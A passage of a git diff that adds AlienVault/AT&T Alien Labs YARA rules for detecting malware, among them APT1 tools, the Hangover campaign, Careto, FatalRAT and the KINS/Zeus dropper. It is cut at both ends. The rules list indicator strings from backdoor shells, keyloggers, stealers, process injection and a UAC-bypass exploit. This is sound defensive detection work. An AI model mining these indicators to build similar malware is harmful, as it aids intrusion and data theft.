+		/* XORed "/dev/null strdup() setuid(geteuid())" */
+		$1 = {FF 16 64 0A 7E 1A 63 4D 21 4D 3E 1E 60 0F 7C 1A 65 0F 74 0B 3E 1C 7F 12}
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/alienvault/Careto_SGH.yar b/yara-mikesxrs/alienvault/Careto_SGH.yar
new file mode 100644
index 0000000..418907f
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Careto_SGH.yar
@@ -0,0 +1,14 @@
+rule Careto_SGH {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto SGH component signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$m1 = "PGPsdkDriver" ascii wide fullword
+		$m2 = "jpeg1x32" ascii wide fullword
+		$m3 = "SkypeIE6Plugin" ascii wide fullword
+		$m4 = "CDllUninstall" ascii wide fullword
+	condition:
+		2 of them
+}
+
diff --git a/yara-mikesxrs/alienvault/DAIRY_APT1.yar b/yara-mikesxrs/alienvault/DAIRY_APT1.yar
new file mode 100644
index 0000000..f8136d0
--- /dev/null
+++ b/yara-mikesxrs/alienvault/DAIRY_APT1.yar
@@ -0,0 +1,16 @@
+rule DAIRY_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; MSIE 7.0;)" wide ascii
+                $s2 = "KilFail" wide ascii
+                $s3 = "KilSucc" wide ascii
+                $s4 = "pkkill" wide ascii
+                $s5 = "pklist" wide ascii
+
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/DownloaderPossibleCCrew.yar b/yara-mikesxrs/alienvault/DownloaderPossibleCCrew.yar
new file mode 100644
index 0000000..b780d89
--- /dev/null
+++ b/yara-mikesxrs/alienvault/DownloaderPossibleCCrew.yar
@@ -0,0 +1,16 @@
+rule DownloaderPossibleCCrew
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "%s?%.6u" wide ascii
+    $b = "szFileUrl=%s" wide ascii
+    $c = "status=%u" wide ascii
+    $d = "down file success" wide ascii
+        $e = "Mozilla/4.0 (compatible; MSIE 6.0; Win32)" wide ascii
+
+  condition:
+    all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/EclipseSunCloudRAT.yar b/yara-mikesxrs/alienvault/EclipseSunCloudRAT.yar
new file mode 100644
index 0000000..d40e828
--- /dev/null
+++ b/yara-mikesxrs/alienvault/EclipseSunCloudRAT.yar
@@ -0,0 +1,17 @@
+rule EclipseSunCloudRAT
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "Eclipse_A" wide ascii
+    $b = "\\PJTS\\" wide ascii
+    $c = "Eclipse_Client_B.pdb" wide ascii
+    $d = "XiaoME" wide ascii
+    $e = "SunCloud-Code" wide ascii
+    $f = "/uc_server/data/forum.asp" wide ascii
+
+  condition:
+    any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/Elise.yar b/yara-mikesxrs/alienvault/Elise.yar
new file mode 100644
index 0000000..04e189f
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Elise.yar
@@ -0,0 +1,12 @@
+rule Elise
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "SetElise.pdb" wide ascii
+
+  condition:
+    $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/EzuriLoader.yar b/yara-mikesxrs/alienvault/EzuriLoader.yar
new file mode 100644
index 0000000..0a88092
--- /dev/null
+++ b/yara-mikesxrs/alienvault/EzuriLoader.yar
@@ -0,0 +1,16 @@
+rule EzuriLoader : LinuxMalware {
+    meta:
+        author = "AT&T Alien Labs"
+        type = "malware"
+        description = "Detects Ezuri Golang loader."
+        copyright = "AT&T Cybersecurity 2020"
+        reference = "283e0172063d1a23c20c6bca1ed0d2bb"
+        report = "https://cybersecurity.att.com/blogs/labs-research/malware-using-new-ezuri-memory-loader"
+    strings:
+        $a1 = "ezuri/stub/main.go"
+        $a2 = "main.runFromMemory"
+        $a3 = "main.aesDec"
+    condition:
+        uint32(0) == 0x464c457f and
+        filesize < 20MB and all of ($a*)
+}
diff --git a/yara-mikesxrs/alienvault/EzuriLoaderOSX.yar b/yara-mikesxrs/alienvault/EzuriLoaderOSX.yar
new file mode 100644
index 0000000..d767593
--- /dev/null
+++ b/yara-mikesxrs/alienvault/EzuriLoaderOSX.yar
@@ -0,0 +1,22 @@
+rule EzuriLoaderOSX : OSXMalware {
+    meta:
+        author = "AT&T Alien Labs"
+        type = "malware"
+        description = "Detects Ezuri Golang loader."
+        copyright = "AT&T Cybersecurity 2020"
+        reference = "da5ae0f2a4b6a52d483fb006bc9e9128"
+        report = "https://cybersecurity.att.com/blogs/labs-research/malware-using-new-ezuri-memory-loader"
+    strings:
+        $a1 = "ezuri/stub/main.go"
+        $a2 = "main.runFromMemory"
+        $a3 = "main.aesDec"
+        $Go = "go.buildid"
+    condition:
+        (uint32(0) == 0xfeedface or   
+        uint32(0) == 0xcefaedfe or   
+        uint32(0) == 0xfeedfacf or
+        uint32(0) == 0xcffaedfe or    
+        uint32(0) == 0xcafebabe or   
+        uint32(0) == 0xbebafeca)
+        and $Go and filesize < 5MB and all of ($a*)
+}
diff --git a/yara-mikesxrs/alienvault/FatalRAT_unpacked.yar b/yara-mikesxrs/alienvault/FatalRAT_unpacked.yar
new file mode 100644
index 0000000..bcf5348
--- /dev/null
+++ b/yara-mikesxrs/alienvault/FatalRAT_unpacked.yar
@@ -0,0 +1,16 @@
+rule FatalRAT_unpacked
+{
+    meta:
+        author = "AT&T Alien Labs"
+        sha256 = "ec0dcfe2d8380a4bafadb3ed73b546cbf73ef78f893e32202042a5818b67ce56"
+        type = "malware"
+        description = "Detects FatalRAT, unpacked malware."
+        copyright = "Alienvault Inc. 2021"
+        report = "https://cybersecurity.att.com/blogs/labs-research/new-sophisticated-rat-in-town-fatalrat-analysis"
+    strings:
+        $decrypt_func = {EC 0F B6 45 10 99 B9 AB 05 00 00 56 F7 F9 8B 75 0C 80 C2 3D 85 F6 76 0F 8B 45 08 8A 08 32 CA 02 CA 88 08 40 4E 75 F4 5E 5D C3}
+        $s1 = "SVP7-Thread running..."
+        $s2 = "nw_elf.dll"
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
diff --git a/yara-mikesxrs/alienvault/GEN_CCREW1.yar b/yara-mikesxrs/alienvault/GEN_CCREW1.yar
new file mode 100644
index 0000000..9a0b340
--- /dev/null
+++ b/yara-mikesxrs/alienvault/GEN_CCREW1.yar
@@ -0,0 +1,13 @@
+rule GEN_CCREW1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "W!r@o#n$g" wide ascii
+    $b = "KerNel32.dll" wide ascii
+
+  condition:
+    any of them
+}
diff --git a/yara-mikesxrs/alienvault/GLOOXMAIL_APT1.yar b/yara-mikesxrs/alienvault/GLOOXMAIL_APT1.yar
new file mode 100644
index 0000000..1afa2b1
--- /dev/null
+++ b/yara-mikesxrs/alienvault/GLOOXMAIL_APT1.yar
@@ -0,0 +1,16 @@
+rule GLOOXMAIL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Kill process success!" wide ascii
+                $s2 = "Kill process failed!" wide ascii
+                $s3 = "Sleep success!" wide ascii
+                $s4 = "based on gloox" wide ascii
+
+                $pdb = "glooxtest.pdb" wide ascii
+
+        condition:
+                all of ($s*) or $pdb
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/GOGGLES_APT1.yar b/yara-mikesxrs/alienvault/GOGGLES_APT1.yar
new file mode 100644
index 0000000..0a5a438
--- /dev/null
+++ b/yara-mikesxrs/alienvault/GOGGLES_APT1.yar
@@ -0,0 +1,16 @@
+rule GOGGLES_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Kill process success!" wide ascii
+                $s2 = "Kill process failed!" wide ascii
+                $s3 = "Sleep success!" wide ascii
+                $s4 = "based on gloox" wide ascii
+
+                $pdb = "glooxtest.pdb" wide ascii
+
+        condition:
+                all of ($s*) or $pdb
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/GeorBotBinary.yar b/yara-mikesxrs/alienvault/GeorBotBinary.yar
new file mode 100644
index 0000000..0443652
--- /dev/null
+++ b/yara-mikesxrs/alienvault/GeorBotBinary.yar
@@ -0,0 +1,11 @@
+rule GeorBotBinary
+{
+meta:
+	Author = "AlienVault"
+	reference = "https://www.alienvault.com/blogs/labs-research/georbot-botnet-a-cyber-espionage-campaign-against-georgian-government"
+strings:
+	$a = {63 72 ?? 5F 30 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C}
+
+condition:
+	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/GeorBotMemory.yar b/yara-mikesxrs/alienvault/GeorBotMemory.yar
new file mode 100644
index 0000000..3ac18ff
--- /dev/null
+++ b/yara-mikesxrs/alienvault/GeorBotMemory.yar
@@ -0,0 +1,12 @@
+rule GeorBotMemory
+{
+meta:
+	Author = "AlienVault"
+	reference = "https://www.alienvault.com/blogs/labs-research/georbot-botnet-a-cyber-espionage-campaign-against-georgian-government"
+strings:
+	$a = {53 4F 46 54 57 41 52 45 5C 00 4D 69 63 72 6F 73 6F 66 74 5C 00 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 00 52 75 6E 00 55 53 42 53 45 52 56}
+	$b = {73 79 73 74 65 6D 33 32 5C 75 73 62 73 65 72 76 2E 65 78 65}
+	$c = {5C 75 73 62 73 65 72 76 2E 65 78 65}
+condition:
+	$a and ($b or $c)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/HACKSFASE1_APT1.yar b/yara-mikesxrs/alienvault/HACKSFASE1_APT1.yar
new file mode 100644
index 0000000..76e9f4e
--- /dev/null
+++ b/yara-mikesxrs/alienvault/HACKSFASE1_APT1.yar
@@ -0,0 +1,11 @@
+rule HACKSFASE1_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = {cb 39 82 49 42 be 1f 3a}
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/HACKSFASE2_APT1.yar b/yara-mikesxrs/alienvault/HACKSFASE2_APT1.yar
new file mode 100644
index 0000000..91a79b3
--- /dev/null
+++ b/yara-mikesxrs/alienvault/HACKSFASE2_APT1.yar
@@ -0,0 +1,13 @@
+rule HACKSFASE2_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Send to Server failed." wide ascii
+                $s2 = "HandShake with the server failed. Error:" wide ascii
+                $s3 = "Decryption Failed. Context Expired." wide ascii
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/Hangover2_Downloader.yar b/yara-mikesxrs/alienvault/Hangover2_Downloader.yar
new file mode 100644
index 0000000..27493f7
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover2_Downloader.yar
@@ -0,0 +1,22 @@
+rule Hangover2_Downloader {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+
+  strings:
+
+    $a = "WinInetGet/0.1" wide ascii
+
+    $b = "Excep while up" wide ascii
+
+    $c = "&file=" wide ascii
+
+    $d = "&str=" wide ascii
+
+    $e = "?cn=" wide ascii
+
+  condition:
+
+    all of them
+}
+
diff --git a/yara-mikesxrs/alienvault/Hangover2_Keylogger.yar b/yara-mikesxrs/alienvault/Hangover2_Keylogger.yar
new file mode 100644
index 0000000..1ee895d
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover2_Keylogger.yar
@@ -0,0 +1,20 @@
+
+rule Hangover2_Keylogger
+
+{
+  meta:
+  	author = "Alienvault Labs"
+  	referemce = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+  strings:
+
+    $a = "iconfall" wide ascii
+
+    $b = "/c ipconfig /all > "" wide ascii
+
+    $c = "Global\{CHKAJESKRB9-35NA7-94Y436G37KGT}" wide ascii
+
+  condition:
+
+    all of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/Hangover2_backdoor_shell.yar b/yara-mikesxrs/alienvault/Hangover2_backdoor_shell.yar
new file mode 100644
index 0000000..1d35bfb
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover2_backdoor_shell.yar
@@ -0,0 +1,19 @@
+rule Hangover2_backdoor_shell {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+
+  strings:
+
+    $a = "Shell started at: " wide ascii
+
+    $b = "Shell closed at: " wide ascii
+
+    $c = "Shell is already closed!" wide ascii
+
+    $d = "Shell is not Running!" wide ascii
+
+  condition:
+
+    all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/Hangover2_stealer.yar b/yara-mikesxrs/alienvault/Hangover2_stealer.yar
new file mode 100644
index 0000000..6c76261
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover2_stealer.yar
@@ -0,0 +1,18 @@
+rule Hangover2_stealer {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+
+  strings:
+
+    $a = "MyWebClient" wide ascii
+
+    $b = "Location: {[0-9]+}" wide ascii
+
+    $c = "[%s]:[C-%s]:[A-%s]:[W-%s]:[S-%d]" wide ascii
+
+  condition:
+
+    all of them
+}
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Appinbot.yar b/yara-mikesxrs/alienvault/Hangover_Appinbot.yar
new file mode 100644
index 0000000..3ed07ca
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Appinbot.yar
@@ -0,0 +1,17 @@
+rule Hangover_Appinbot {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "CreateToolhelp32Snapshot"
+        $a2 = "Process32First"
+        $a3 = "Process32Next"
+        $a4 = "FIDR/"
+        $a5 = "SUBSCRIBE %d"
+        $a6 = "CLOSE %d"
+        
+    condition:
+        all of them
+
+}
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Auspo.yar b/yara-mikesxrs/alienvault/Hangover_Auspo.yar
new file mode 100644
index 0000000..c523816
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Auspo.yar
@@ -0,0 +1,14 @@
+rule Hangover_Auspo {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV2)"
+        $a2 = "POWERS"
+        $a3 = "AUSTIN"
+        
+    condition:
+        all of them
+
+}
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Deksila.yar b/yara-mikesxrs/alienvault/Hangover_Deksila.yar
new file mode 100644
index 0000000..d811b44
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Deksila.yar
@@ -0,0 +1,14 @@
+rule Hangover_Deksila {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "WinInetGet/0.1"
+        $a2 = "dekstop2007.ico"
+        $a3 = "mozila20"
+        
+    condition:
+        all of them
+
+}
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Foler.yar b/yara-mikesxrs/alienvault/Hangover_Foler.yar
new file mode 100644
index 0000000..5213a3b
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Foler.yar
@@ -0,0 +1,14 @@
+rule Hangover_Foler {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "\\MyHood"
+        $a2 = "UsbP"
+        $a3 = "ID_MON"
+        
+    condition:
+        all of them
+
+}
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Fuddol.yar b/yara-mikesxrs/alienvault/Hangover_Fuddol.yar
new file mode 100644
index 0000000..18eb518
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Fuddol.yar
@@ -0,0 +1,12 @@
+rule Hangover_Fuddol {
+    meta:
+        author = "Alienvault Labs"
+        referemce = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a = "\\Http downloader(fud)"
+        $b = "Fileexists"
+    condition:
+        all of them
+
+}
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Gimwlog.yar b/yara-mikesxrs/alienvault/Hangover_Gimwlog.yar
new file mode 100644
index 0000000..194a649
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Gimwlog.yar
@@ -0,0 +1,15 @@
+rule Hangover_Gimwlog {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "file closed---------------------"
+        $a2 = "new file------------------"
+        $a3 = "md C:\\ApplicationData\\Prefetch\\"
+        
+    condition:
+        all of them
+
+}
+
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Gimwup.yar b/yara-mikesxrs/alienvault/Hangover_Gimwup.yar
new file mode 100644
index 0000000..aa5f90b
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Gimwup.yar
@@ -0,0 +1,14 @@
+rule Hangover_Gimwup {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "=======inside while==========="
+        $a2 = "scan finished"
+        $a3 = "logFile.txt"
+        
+    condition:
+        all of them
+
+}
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Iconfall.yar b/yara-mikesxrs/alienvault/Hangover_Iconfall.yar
new file mode 100644
index 0000000..3c822a2
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Iconfall.yar
@@ -0,0 +1,14 @@
+rule Hangover_Iconfall {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "iconfall"
+        $a2 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+        
+    condition:
+        all of them
+
+}
+
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Linog.yar b/yara-mikesxrs/alienvault/Hangover_Linog.yar
new file mode 100644
index 0000000..4d55cb6
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Linog.yar
@@ -0,0 +1,16 @@
+rule Hangover_Linog {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "uploadedfile"
+        $a2 = "Error in opening a file.."
+        $a3 = "The file could not be opened"
+        $a4 = "%sContent-Disposition: form-data; name=\"%s\";filename=\"%s\""
+
+    condition:
+        all of them
+
+}
+
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Slidewin.yar b/yara-mikesxrs/alienvault/Hangover_Slidewin.yar
new file mode 100644
index 0000000..ee76ea6
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Slidewin.yar
@@ -0,0 +1,26 @@
+rule Hangover_Slidewin {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "[NumLock]"
+        $a2 = "[ScrlLock]"
+        $a3 = "[LtCtrl]"
+        $a4 = "[RtCtrl]"
+        $a5 = "[LtAlt]"
+        $a6 = "[RtAlt]"
+        $a7 = "[HomePage]"
+        $a8 = "[MuteOn/Off]"
+        $a9 = "[VolDn]"
+        $a10 = "[VolUp]"
+        $a11 = "[Play/Pause]"
+        $a12 = "[MailBox]"
+        $a14 = "[Calc]"
+        $a15 = "[Unknown]"
+        
+    condition:
+        all of them
+
+}
+
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Smackdown_Downloader.yar b/yara-mikesxrs/alienvault/Hangover_Smackdown_Downloader.yar
new file mode 100644
index 0000000..9cc3d9a
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Smackdown_Downloader.yar
@@ -0,0 +1,25 @@
+rule Hangover_Smackdown_Downloader {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "DownloadComplete"
+        $a2 = "DownloadProgress"
+        $a3 = "DownloadError"
+        $a4 = "UserControl"
+        $a5 = "MSVBVM60.DLL"
+
+        $b1 = "syslide"
+        $b2 = "frmMina"
+        $b3 = "Soundsman"
+        $b4 = "New_upl"
+        $b5 = "MCircle"
+        $b6 = "shells_DataArrival"
+        
+    condition:
+        3 of ($a*) and 1 of ($b*)
+
+}
+
+
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Smackdown_various.yar b/yara-mikesxrs/alienvault/Hangover_Smackdown_various.yar
new file mode 100644
index 0000000..cbdfb86
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Smackdown_various.yar
@@ -0,0 +1,20 @@
+rule Hangover_Smackdown_various {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "NaramGaram"
+        $a3 = "vampro"
+        $a4 = "AngelPro"
+        
+        $b1 = "VBA6.DLL"
+        $b2 = "advpack"
+        $b3 = "IsNTAdmin"
+        
+        
+    condition:
+        1 of ($a*) and all of ($b*)
+
+}
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Tymtin_Degrab.yar b/yara-mikesxrs/alienvault/Hangover_Tymtin_Degrab.yar
new file mode 100644
index 0000000..af5eaac
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Tymtin_Degrab.yar
@@ -0,0 +1,14 @@
+rule Hangover_Tymtin_Degrab {
+    meta:
+         author = "Alienvault Labs"
+         reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "&dis=no&utp=op&mfol="
+        $a2 = "value1=1&value2=2"
+        
+    condition:
+        all of them
+
+}
+
+
diff --git a/yara-mikesxrs/alienvault/Hangover_UpdateEx.yar b/yara-mikesxrs/alienvault/Hangover_UpdateEx.yar
new file mode 100644
index 0000000..c58dce9
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_UpdateEx.yar
@@ -0,0 +1,17 @@
+rule Hangover_UpdateEx {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "UpdateEx"
+        $a2 = "VBA6.DLL"
+        $a3 = "MainEx"
+        $a4 = "GetLogs"
+        $a5 = "ProMan"
+        $a6 = "RedMod"
+        
+    condition:
+        all of them
+
+}
+
diff --git a/yara-mikesxrs/alienvault/Hangover_Vacrhan_Downloader.yar b/yara-mikesxrs/alienvault/Hangover_Vacrhan_Downloader.yar
new file mode 100644
index 0000000..74b8110
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_Vacrhan_Downloader.yar
@@ -0,0 +1,17 @@
+rule Hangover_Vacrhan_Downloader {
+    meta:
+        author = "Alienvault Labs"
+        reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "VBA6.DLL"
+        $a3 = "Timer1"
+        $a4 = "Timer2"
+        $a5 = "IsNTAdmin"
+        
+    condition:
+        all of them
+
+}
+
+
diff --git a/yara-mikesxrs/alienvault/Hangover_ron_babylon.yar b/yara-mikesxrs/alienvault/Hangover_ron_babylon.yar
new file mode 100644
index 0000000..c804b86
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Hangover_ron_babylon.yar
@@ -0,0 +1,43 @@
+rule Hangover_ron_babylon
+{
+  meta:
+    author = "Alienvault Labs"
+    reference = "https://www.alienvault.com/blogs/labs-research/microsoft-office-zeroday-used-to-attack-pakistani-targets"
+
+  strings:
+    $a = "Content-Disposition: form-data; name=\"uploaddir\""
+    $b1 = "MBVDFRESCT"
+    $b2 = "EMSCBVDFRT"
+    $b3 = "EMSFRTCBVD"
+    $b4= "sendFile"
+    $b5 = "BUGMAAL"
+    $b6 = "sMAAL"
+    $b7 = "SIMPLE"
+    $b8 = "SPLIME"
+    $b9 = "getkey.php"
+    $b10 = "MBVDFRESCT"
+    $b11 = "DSMBVCTFRE"
+    $b12 = "MBESCVDFRT"
+    $b13 = "TCBFRVDEMS"
+    $b14 = "DEMOMAKE"
+    $b15 = "DEMO"
+    $b16 = "UPHTTP"
+    
+
+    $c1 = "F39D45E70395ABFB8D8D2BFFC8BBD152"
+    $c2 = "90B452BFFF3F395ABDC878D8BEDBD152"
+    $c3 = "FFF3F395A90B452BB8BEDC878DDBD152"
+    $c4 = "5A9DCB8FFF3F02B8B45BE39D152"
+    $c5 = "5A902B8B45BEDCB8FFF3F39D152"
+    $c6 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+    $c7 = "905ABEB452BFFFBDC878D83F39DBD152"
+    $c8 = "D2BFFC8BBD152F3B8D89D45E70395ABF"
+    $c9 = "8765F3F395A90B452BB8BEDC878"
+    $c10 = "90ABDC878D8BEDBB452BFFF3F395D152"
+    $c11 = "F12BDC94490B452AA8AEDC878DCBD187"
+    
+  condition:
+    $a and (1 of ($b*) or 1 of ($c*))
+    
+}
+
diff --git a/yara-mikesxrs/alienvault/Java0daycve2012xxxx_generic.yar b/yara-mikesxrs/alienvault/Java0daycve2012xxxx_generic.yar
new file mode 100644
index 0000000..b636144
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Java0daycve2012xxxx_generic.yar
@@ -0,0 +1,19 @@
+rule Java0daycve2012xxxx_generic
+{
+  meta:
+     weight=100
+     author = "Jaime Blasco"
+     source = "alienvault"
+     date = "2012-08"
+     report = "https://cybersecurity.att.com/blogs/labs-research/new-java-0day-exploited-in-the-wild"
+  strings:
+        $ =  "java/security/ProtectionDomain"
+        $ = "java/security/Permissions"
+        $ = "java/security/cert/Certificate"
+        $ = "setSecurityManager"
+        $ = "file:///"
+        $ = "sun.awt.SunToolkit"
+        $ = "getField"
+  condition:
+    all of them
+}
diff --git a/yara-mikesxrs/alienvault/KINS_DLL_zeus.yar b/yara-mikesxrs/alienvault/KINS_DLL_zeus.yar
new file mode 100644
index 0000000..5487087
--- /dev/null
+++ b/yara-mikesxrs/alienvault/KINS_DLL_zeus.yar
@@ -0,0 +1,19 @@
+rule KINS_DLL_zeus {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match default bot in KINS leaked dropper, Zeus"
+	strings:
+		// Network protocol
+		$n1 = "%BOTID%" fullword
+		$n2 = "%opensocks%" fullword
+		$n3 = "%openvnc%" fullword
+		$n4 = /Global\\(s|v)_ev/ fullword
+		// Crypted strings
+		$s1 = "\x72\x6E\x6D\x2C\x36\x7D\x76\x77"
+		$s2 = "\x18\x04\x0F\x12\x16\x0A\x1E\x08\x5B\x11\x0F\x13"
+		$s3 = "\x39\x1F\x01\x07\x15\x19\x1A\x33\x19\x0D\x1F"
+		$s4 = "\x62\x6F\x71\x78\x63\x61\x7F\x69\x2D\x67\x79\x65"
+		$s5 = "\x6F\x69\x7F\x6B\x61\x53\x6A\x7C\x73\x6F\x71"
+	condition:
+		all of ($n*) and 1 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/KINS_dropper.yar b/yara-mikesxrs/alienvault/KINS_dropper.yar
new file mode 100644
index 0000000..eb030a8
--- /dev/null
+++ b/yara-mikesxrs/alienvault/KINS_dropper.yar
@@ -0,0 +1,24 @@
+rule KINS_dropper {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match protocol, process injects and windows exploit present in KINS dropper"
+	strings:
+		// Network protocol
+		$n1 = "tid=%d&ta=%s-%x" fullword
+		$n2 = "fid=%d" fullword
+		$n3 = "%[^.].%[^(](%[^)])" fullword
+		// Injects
+		$i0 = "%s [%s %d] 77 %s"
+		$i01 = "Global\\%s%x"
+		$i1 = "Inject::InjectProcessByName()"
+		$i2 = "Inject::CopyImageToProcess()"
+		$i3 = "Inject::InjectProcess()"
+		$i4 = "Inject::InjectImageToProcess()"
+		$i5 = "Drop::InjectStartThread()"
+		// UAC bypass
+		$uac1 = "ExploitMS10_092"
+		$uac2 = "\\globalroot\\systemroot\\system32\\tasks\\" ascii wide
+		$uac3 = "<RunLevel>HighestAvailable</RunLevel>" ascii wide
+	condition:
